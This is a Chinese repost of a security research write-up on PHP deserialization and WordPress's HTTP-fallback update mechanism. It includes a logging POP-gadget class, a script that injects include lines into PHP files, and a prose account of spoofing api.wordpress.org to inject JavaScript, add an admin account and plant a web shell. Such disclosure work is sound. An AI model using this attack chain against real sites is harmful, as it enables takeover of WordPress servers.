溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

PHP反序列化與WordPress BUG的有趣結(jié)合是怎樣的

發(fā)布時(shí)間:2021-10-11 10:55:31 來(lái)源:億速云 閱讀:119 作者:柒染 欄目:網(wǎng)絡(luò)管理

PHP反序列化與WordPress BUG的有趣結(jié)合是怎樣的,很多新手對(duì)此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來(lái)學(xué)習(xí)下,希望你能有所收獲。

0x00 前序

幾個(gè)月前,我正在編寫一篇關(guān)于PHP反序列化漏洞的博客文章,決定為這篇文章找一個(gè)真實(shí)目標(biāo),能夠讓我將測(cè)試數(shù)據(jù)傳輸給PHP unserialize ()函數(shù)來(lái)實(shí)現(xiàn)演示目的。于是我下載了一批WordPress插件,并開(kāi)始通過(guò)grepping來(lái)尋找調(diào)用unserialize ()的代碼實(shí)例:

$url = 'http://api.wordpress.org/plugins/info/1.0/';
$response = wp_remote_post ($url, array ('body' => $request));
$plugin_info = @unserialize ($response ['body']);
if (isset ($plugin_info->ratings)) {

這個(gè)插件的問(wèn)題在于發(fā)送明文HTTP請(qǐng)求,并且將該請(qǐng)求響應(yīng)傳遞給了unserialize ()函數(shù)。就真實(shí)攻擊而言,它并不是最佳入口點(diǎn),但是如果我能通過(guò)這種微不足道的方式向unserialize ()函數(shù)提供輸出來(lái)觸發(fā)代碼的話,這就足夠了!

0x01 PHP反序列化攻擊

簡(jiǎn)單來(lái)說(shuō),當(dāng)攻擊者能夠?qū)⑺臄?shù)據(jù)提供給應(yīng)用程序,而該應(yīng)用程序?qū)?shù)據(jù)轉(zhuǎn)化為運(yùn)行對(duì)象時(shí)沒(méi)有作適當(dāng)驗(yàn)證的時(shí)候就會(huì)出現(xiàn)反序列化漏洞。如果攻擊者數(shù)據(jù)被允許去控制運(yùn)行對(duì)象的屬性,那么攻擊者就可以操縱任何使用這些對(duì)象屬性的代碼執(zhí)行流程,就有可能使用它發(fā)起攻擊。這是一種稱為面向?qū)傩跃幊蹋≒OP)的技術(shù),一個(gè)POP小工具是可以通過(guò)這種方式控制任何代碼片段,開(kāi)發(fā)實(shí)現(xiàn)是通過(guò)向應(yīng)用程序提供特制對(duì)象,以便在這些對(duì)象進(jìn)行反序列化的時(shí)候觸發(fā)一些有用的行為。如果想了解更多詳情的話,可以參閱我的博客文章《Attacking Java Deserialization》(https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/),其中的一般概念適用于任何基礎(chǔ)技術(shù)。

在PHP應(yīng)用程序的現(xiàn)狀來(lái)看,POP小工具最為人熟知和最可靠的原因在于類的__wakeup()方法(PHP“魔術(shù)方法”,unserialize()函數(shù)會(huì)檢查是否存在__wakeup(),如果存在,則會(huì)先調(diào)用__wakeup()方法,預(yù)先準(zhǔn)備對(duì)象需要的資源),如果一個(gè)類定義了__wakeup()方法,那么無(wú)論何時(shí)該類的某個(gè)對(duì)象使用了unserialize ()函數(shù)進(jìn)行反序列化都能保證__wakeup()方法被調(diào)用,另外一個(gè)原因是__destruct ()方法(當(dāng)創(chuàng)建的對(duì)象被銷毀或遇到PHP結(jié)束標(biāo)記的時(shí)候,比如程序已經(jīng)執(zhí)行完畢,對(duì)象會(huì)自動(dòng)調(diào)用__destruct()執(zhí)行一些相應(yīng)的操作,可以自行定義),例如PHP腳本執(zhí)行完成時(shí)(未發(fā)生致命錯(cuò)誤),當(dāng)反序列化對(duì)象超出范圍時(shí)仍幾乎可以保證__destruct ()方法被調(diào)用。

除了__wakeup ()和__destruct ()方法之外, PHP還有其他“魔術(shù)方法”,可以在類中定義,也可以在反序列化之后調(diào)用,這取決于反序列化對(duì)象的使用方式。在一個(gè)更大更復(fù)雜的應(yīng)用程序中可能很難追蹤到反序列化對(duì)象在哪里結(jié)束以及如何來(lái)使用它或調(diào)用那些方法,于是確定那些類可以用于PHP反序列化漏洞利用也很困難,因?yàn)橄嚓P(guān)文件可能未包含在入口點(diǎn),或者一個(gè)類的自動(dòng)加載器(例如spl_autoload_register()函數(shù))可能以及被注冊(cè)來(lái)進(jìn)一步混淆。

0x02 通用的PHP POP小工具

為了簡(jiǎn)化這個(gè)過(guò)程,我編寫了一個(gè)PHP類,它定義了所有魔術(shù)方法并且在調(diào)用任何魔術(shù)方法時(shí)將詳細(xì)信息寫入日志文件。特別有趣的是魔術(shù)方法__get()和__call(),如果應(yīng)用程序嘗試獲取不存在的屬性或調(diào)用該類中不存在的方法時(shí)就會(huì)調(diào)用以上魔術(shù)方法,前者可以用來(lái)識(shí)別在payload object上設(shè)置的屬性,以便操縱并使用這些屬性的代碼,而后者可以用來(lái)識(shí)別POP小工具觸發(fā)使用的非魔術(shù)方法(并且可以將它們自身用作POP小工具)。

該類的__wakeup ()方法還使用了get_declared_classes ()函數(shù)來(lái)檢索和記錄可以利用exploit payload的已聲明類的列表(雖然這不會(huì)反映當(dāng)前未聲明但可以自動(dòng)加載的類)。

<?php
if(!class_exists("UniversalPOPGadget")) {
class UniversalPOPGadget {
private function logEvent($event) {
file_put_contents('UniversalPOPGadget.txt', $event . "\r\n", FILE_APPEND);
}

public function __construct() { $this->logEvent('UniversalPOPGadget::__construct()'); }
public function __destruct() { $this->logEvent('UniversalPOPGadget::__destruct()'); }
public function __call($name, $args) {
$this->logEvent('UniversalPOPGadget::__call(' . $name . ', ' . implode(',', $args) . ')');
}
public static function __callStatic($name, $args) {
$this->logEvent('UniversalPOPGadget::__callStatic(' . $name . ', ' . implode(',', $args) . ')');
}
public function __get($name) { $this->logEvent('UniversalPOPGadget::__get(' . $name . ')'); }
public function __set($name, $value) { $this->logEvent('UniversalPOPGadget::__set(' . $name . ', ' . $value . ')'); }
public function __isset($name) { $this->logEvent('UniversalPOPGadget::__isset(' . $name . ')'); }
public function __unset($name) { $this->logEvent('UniversalPOPGadget::__unset(' . $name . ')'); }
public function __sleep() { $this->logEvent('UniversalPOPGadget::__sleep()'); return array(); }
public function __wakeup() {
$this->logEvent('UniversalPOPGadget::__wakeup()');
$this->logEvent("  [!] Defined classes:");
foreach(get_declared_classes() as $c) {
$this->logEvent("    [+] " . $c);
}
}
public function __toString() { $this->logEvent('UniversalPOPGadget::__toString()'); }
public function __invoke($param) { $this->logEvent('UniversalPOPGadget::__invoke(' . $param . ')'); }
public function __set_state($properties) {
$this->logEvent('UniversalPOPGadget::__set_state(' . implode(',', $properties) . ')');
}
public function __clone() { $this->logEvent('UniversalPOPGadget::__clone()'); }
public function __debugInfo() { $this->logEvent('UniversalPOPGadget::__debugInfo()'); }
}}
?>

0x03 PHP檢測(cè)

將上面的代碼保存到一個(gè)PHP文件中,我們可以通過(guò)這個(gè)在其他任何PHP腳本中插入一個(gè)include'/path/to/UniversalPOPGadget.php'語(yǔ)句,并使這個(gè)類可用。以下Python腳本將查找給定目錄中所有PHP文件,并將語(yǔ)句寫入文件前端,從而有效地檢測(cè)應(yīng)用程序,以便我們可以向?yàn)槠涮峁┬蛄谢腢niversalPOPGadget對(duì)象,來(lái)用它們研究反序列化的入口點(diǎn)。

 import os
import sys
 
#Set this to the absolute path to the file containing the UniversalPOPGadget class
GADGET_PATH = "/path/to/UniversalPOPGadget.php"
 
#File extensions to instrument
FILE_EXTENSIONS = [".php", ".php3", ".php4", ".php5", ".phtml", ".inc"]
 
#Check command line args
if len(sys.argv) != 2:
  print "Usage: GadgetInjector.py <path>"
  print ""
  sys.exit()
 
#Search the given path for PHP files and modify them to include the universal POP gadget
for root, dirs, files in os.walk(sys.argv[1]):
  for filename in files:
    for ext in FILE_EXTENSIONS:
      if filename.lower().endswith(ext):
        #Instrument the file and stop checking file extensions
        fIn = open(os.path.join(root, filename), "rb")
        phpCode = fIn.read()
        fIn.close()
        fOut = open(os.path.join(root, filename), "wb")
        fOut.write("<?php include '" + GADGET_PATH + "'; ?>" + phpCode)
        fOut.close()
        break

0x04 分析反序列化入口點(diǎn)

回到剛剛那個(gè)調(diào)用unserialize()函數(shù)的WordPress插件代碼片段,我不知道該如何去實(shí)際觸發(fā)unserialize()函數(shù)的調(diào)用,我所知道的是這個(gè)插件應(yīng)該向http://api.wordpress.org/plugins/info/1.0/發(fā)送HTTP請(qǐng)求,于是我使用上面的Python腳本來(lái)測(cè)試WordPress和插件代碼,然后修改了服務(wù)器上的hosts文件,將api.wordpress.org指向同一臺(tái)服務(wù)器。以下代碼放在Web根目錄中的/plugins/info/1.0/index.php文件中,以便提供UniversalPOPGadget payload:

 <?php
include('UniversalPOPGadget.php');
print serialize(new UniversalPOPGadget());

在使用這種手段后,我開(kāi)始像往常一樣使用WordPress實(shí)例,特別注意了與目標(biāo)WordPress插件相關(guān)的所有功能,同時(shí)查看UniversalPOPGadget日志文件。很快地,生成了一些日志文件,其中包括以下內(nèi)容(為簡(jiǎn)潔起見(jiàn),已將大量可用類刪除):

UniversalPOPGadget::__wakeup()
  [!] Defined classes:
  [...Snipped...]
UniversalPOPGadget::__get(sections)
UniversalPOPGadget::__isset(version)
UniversalPOPGadget::__isset(author)
UniversalPOPGadget::__isset(requires)
UniversalPOPGadget::__isset(tested)
UniversalPOPGadget::__isset(homepage)
UniversalPOPGadget::__isset(downloaded)
UniversalPOPGadget::__isset(slug)
UniversalPOPGadget::__get(sections)
UniversalPOPGadget::__get(sections)
UniversalPOPGadget::__isset(banners)
UniversalPOPGadget::__get(name)
UniversalPOPGadget::__get(sections)
UniversalPOPGadget::__isset(version)
UniversalPOPGadget::__isset(author)
UniversalPOPGadget::__isset(last_updated)
UniversalPOPGadget::__isset(requires)
UniversalPOPGadget::__isset(tested)
UniversalPOPGadget::__isset(active_installs)
UniversalPOPGadget::__isset(slug)
UniversalPOPGadget::__isset(homepage)
UniversalPOPGadget::__isset(donate_link)
UniversalPOPGadget::__isset(rating)
UniversalPOPGadget::__isset(ratings)
UniversalPOPGadget::__isset(contributors)
UniversalPOPGadget::__isset(tested)
UniversalPOPGadget::__isset(requires)
UniversalPOPGadget::__get(sections)
UniversalPOPGadget::__isset(download_link)

日志文件中顯示,在UniversalPOPGadget對(duì)象被反序列化之后,用程序試圖獲取或檢查是否存在多個(gè)屬性(段、版本、作者等等)。首先這就告訴我們,通過(guò)這個(gè)特定的入口點(diǎn)我們可以使用任何可用類中的任何定義在__get ()或__isset ()方法中的代碼來(lái)作為POP小工具,其次它揭示了目標(biāo)應(yīng)用程序試圖獲得的幾個(gè)屬性,這些屬性幾乎保證影響執(zhí)行流程,因此可能對(duì)開(kāi)發(fā)有用處。

0x05 Sections屬性?

上面的日志文件顯示,與反序列化對(duì)象的首次交互是嘗試獲取名為sections的屬性。

$url = 'http://api.wordpress.org/plugins/info/1.0/';
$response = wp_remote_post ($url, array ('body' => $request));
$plugin_info = @unserialize ($response ['body']);
if (isset ($plugin_info->ratings)) {

現(xiàn)在來(lái)看最初的目標(biāo)插件,它在調(diào)用unserialize ()之后做的第一件事是檢查名為rating的屬性是否存在,那么這個(gè)日志并不是我當(dāng)初注意的第三方插件產(chǎn)生的!

0x06 POPping WordPress出現(xiàn)的意外

對(duì)WordPress代碼進(jìn)行一次快速grep,對(duì)于上面提到的HTTP URL,顯示該請(qǐng)求是由wp-admin/includes/plugin-install.php文件中的WordPress插件API發(fā)送的。瀏覽代碼時(shí)并不清楚反序列化的payload object是如何使用的,或者切確地說(shuō)這個(gè)HTTP請(qǐng)求以及隨后對(duì)unserialize ()函數(shù)的調(diào)用是從哪里觸發(fā)的。我繼續(xù)點(diǎn)擊WordPress管理界面,發(fā)現(xiàn)日志是從主控制面板、更新頁(yè)面和插件頁(yè)面生成的。重新加載這些頁(yè)面使我能夠觸發(fā)目標(biāo)HTTP請(qǐng)求,并向unserialize ()函數(shù)提供任意數(shù)據(jù)。

我記錄了一些WordPress發(fā)出的HTTP請(qǐng)求并把它們發(fā)送到真正的api.wordpress.org以獲取實(shí)例響應(yīng),結(jié)果響應(yīng)的是stdClass類型的序列化對(duì)象,更重要的是示例響應(yīng)給了我一個(gè)預(yù)期中WordPress會(huì)收到的屬性的確切列表,其中每個(gè)屬性都有可能用于操控某些核心WordPress代碼的執(zhí)行流程。我根據(jù)捕獲到的真實(shí)響應(yīng)修改了偽造的api.wordpress.org用來(lái)返回序列化對(duì)象。以下是這個(gè)的一個(gè)簡(jiǎn)單例子:

<?php
$payloadObject = new stdClass();
$payloadObject->name = "PluginName";
$payloadObject->slug = "PluginSlug";
$payloadObject->version = "PluginVersion";
print serialize($payloadObject);

我開(kāi)始修改這些對(duì)象的屬性并刷新相關(guān)的WordPress頁(yè)面,來(lái)測(cè)試修改內(nèi)容對(duì)結(jié)果頁(yè)面有何影響(如果有的話)。在有些情況下WordPress使用了HTML編碼來(lái)防止HTML/JavaScript注入,但是最終我發(fā)現(xiàn)了幾個(gè)可以插入任意HTML和JavaScript的字段。請(qǐng)記住這個(gè)情況是發(fā)生在管理界面內(nèi),如果管理員登錄并瀏覽“更新”或“插件”頁(yè)面,攻擊者就能夠?qū)ordPress站點(diǎn)執(zhí)行MitM攻擊或DNS欺騙,也可能會(huì)利用此漏洞實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。

在快速嘗試一些JavaScript和Python腳本之后我有了假設(shè)漏洞的運(yùn)用證明。這個(gè)PoC會(huì)導(dǎo)致WordPress管理界面中的“更新和插件”菜單旁顯示一個(gè)徽章,表示有更新可用(當(dāng)然即使沒(méi)有也會(huì)顯示),這可能會(huì)誘導(dǎo)管理員點(diǎn)擊這些鏈接來(lái)檢查并可能安裝這些更新。如果有管理員點(diǎn)擊任一鏈接,那么一個(gè)JavaScript payload被注入到該頁(yè)面中,然后就添加了一個(gè)新的管理員賬戶并將一個(gè)基本PHP命令shell注入到現(xiàn)行的WordPress主題的index.php中。

在大多數(shù)情況下這種PoC攻擊足以實(shí)現(xiàn)代碼執(zhí)行,但是我也發(fā)現(xiàn)了我可以使用類似方式向WordPress發(fā)送一個(gè)錯(cuò)誤的插件更新來(lái)攻擊WordPress管理界面的點(diǎn)擊更新功能,如果有管理員點(diǎn)擊了更新按鈕,就會(huì)導(dǎo)致下載一個(gè)假插件更新的ZIP文件并將其提取至服務(wù)器上。

0x07 解答

深入挖掘這一點(diǎn),我注意到即使沒(méi)有登錄,WordPress也會(huì)發(fā)送了類似對(duì)api.wordpress.org的HTTP請(qǐng)求,我開(kāi)始對(duì)WordPress進(jìn)行代碼審計(jì)來(lái)了解其中發(fā)生了什么,以及它是否可能遭受了類似攻擊。我在wp-includes/update.php文件中發(fā)現(xiàn)了wp_schedule_update_checks()函數(shù)。

function wp_schedule_update_checks() {
if ( ! wp_next_scheduled( 'wp_version_check' ) && ! wp_installing() )
wp_schedule_event(time(), 'twicedaily', 'wp_version_check');
 
if ( ! wp_next_scheduled( 'wp_update_plugins' ) && ! wp_installing() )
wp_schedule_event(time(), 'twicedaily', 'wp_update_plugins');
 
if ( ! wp_next_scheduled( 'wp_update_themes' ) && ! wp_installing() )
wp_schedule_event(time(), 'twicedaily', 'wp_update_themes');
}

WordPress會(huì)每天兩次調(diào)用wp_version_check ()函數(shù)、wp_update_plugins ()函數(shù)和wp_update_themes ()函數(shù)。默認(rèn)情況下,這些更新檢查也可以通過(guò)wp-cron.php發(fā)送HTTP請(qǐng)求來(lái)觸發(fā)。于是我開(kāi)始手動(dòng)審計(jì)這些函數(shù),并修改代碼來(lái)記錄各種數(shù)據(jù)以及分支和函數(shù)調(diào)用的結(jié)果,查看發(fā)生了什么,函數(shù)是否根據(jù)來(lái)自api.wordpress.org的響應(yīng)而做出了任何危險(xiǎn)的操作。

最終我設(shè)法偽造了來(lái)自api.wordpress.org的幾個(gè)響應(yīng),來(lái)觸發(fā)對(duì)$upgrader->upgrade()的調(diào)用,然而以前的偽造插件更新攻擊在這里似乎不起作用,之后我在should_update()方法中發(fā)現(xiàn)了以下注釋:

/**
 * [...Snipped...]
 *
 * Generally speaking, plugins, themes, and major core versions are not updated
 * by default, while translations and minor and development versions for core
 * are updated by default.
 *
 * [...Snipped...]
 */

事實(shí)證明這是WordPress試圖升級(jí)內(nèi)置Hello Dolly插件的翻譯,我一直試圖從downloads.wordpress.org下載hello-dolly-1.6-en_GB.zip,而不是請(qǐng)求我偽造的插件zip文件。我下載了原始文件,添加了一個(gè)shell.php文件,并將其托管在我的虛假downloads.wordpress.org網(wǎng)站上。于是下一次我訪問(wèn)了wp-cron.php,WordPress下載了偽造的更新并解壓到wp-content/languages/plugins/,其中包括shell等等。

攻擊者既然可以對(duì)WordPress網(wǎng)站執(zhí)行MitM攻擊或DNS欺騙,那么就可以針對(duì)自動(dòng)更新功能執(zhí)行零交互攻擊,并將惡意腳本寫入服務(wù)器。當(dāng)然這不一定是一次簡(jiǎn)單的攻擊,但這仍然不可能!

WordPress團(tuán)隊(duì)意識(shí)到這些問(wèn)題,但是他們的立場(chǎng)似乎是,如果HTTPS啟用失敗,為了允許在具有舊或損壞的SSL堆棧系統(tǒng)上運(yùn)行的WordPress網(wǎng)站進(jìn)行更新,WordPress將會(huì)故意降級(jí)為HTTP連接(或者安裝惡意代碼)……

0x08 注意事項(xiàng)/陷阱

當(dāng)請(qǐng)求更新詳細(xì)信息和更新存檔時(shí),WordPress會(huì)嘗試首先通過(guò)HTTPS連接到api.wordpress.org和downloads.wordpress.org,但是如果由于任何原因?qū)е翲TTPS啟用失敗,則使用明文HTTP連接。

如果WordPress的PHP腳本屬于不同的用戶,那么WordPress將默認(rèn)無(wú)法自動(dòng)更新(因此不容易受到上述攻擊),例如index.php為用戶foo擁有,但WordPress是在用戶www-data權(quán)限下運(yùn)行的。

看完上述內(nèi)容是否對(duì)您有幫助呢?如果還想對(duì)相關(guān)知識(shí)有進(jìn)一步的了解或閱讀更多相關(guān)文章,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝您對(duì)億速云的支持。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI